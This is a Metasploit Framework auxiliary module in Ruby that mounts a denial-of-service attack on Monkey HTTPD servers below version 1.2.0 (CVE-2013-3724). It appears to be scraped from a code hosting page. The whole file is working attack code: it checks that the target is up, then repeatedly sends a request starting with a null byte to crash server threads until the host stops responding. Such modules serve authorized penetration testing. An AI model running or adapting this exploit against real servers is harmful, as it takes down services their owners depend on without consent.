80 lines
1.9 KiB
Ruby
80 lines
1.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Monkey HTTPD Null Byte Request',
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'Description' => %q{
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Sending a request containing null bytes causes a
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thread to crash. If you crash all of the threads,
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the server becomes useless. Affects versions < 1.2.0.
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},
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'Author' =>
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[
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'Doug Prostko <dougtko[at]gmail[dot]com>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-3724'],
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],
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'DisclosureDate' => 'May 25 2013'))
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register_options(
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[
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Opt::RPORT(2001),
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OptInt.new("TIMEOUT", [ false, "Set timeout for connectivity check", 10 ]),
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], self.class)
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end
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def is_alive
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connect
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sock.put("GET / HTTP/1.1\r\nHost:foo\r\n\r\n")
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if ! sock.get_once(-1, datastore['TIMEOUT'])
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raise ::Rex::ConnectionTimeout
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end
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disconnect
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end
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def run
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loop do
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begin
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is_alive
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connect
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print_status("Sending DoS packet to #{rhost}:#{rport}")
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sock.put("\x00 / \r\n\r\n")
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disconnect
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Rex.sleep(1)
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rescue ::Rex::ConnectionRefused
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print_status("Unable to connect to #{rhost}:#{rport}.")
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break
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rescue ::Errno::ECONNRESET
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print_status("DoS packet successful. #{rhost} not responding.")
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break
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rescue ::Rex::HostUnreachable
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print_status("Couldn't connect to #{rhost}:#{rport}.")
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break
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rescue ::Timeout::Error, ::Errno::EPIPE
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print_status("Timeout error connecting to #{rhost}:#{rport}.")
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break
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rescue ::Rex::ConnectionTimeout
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print_good("Monkey server is down!")
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break
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ensure
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disconnect
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end
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end
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end
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end
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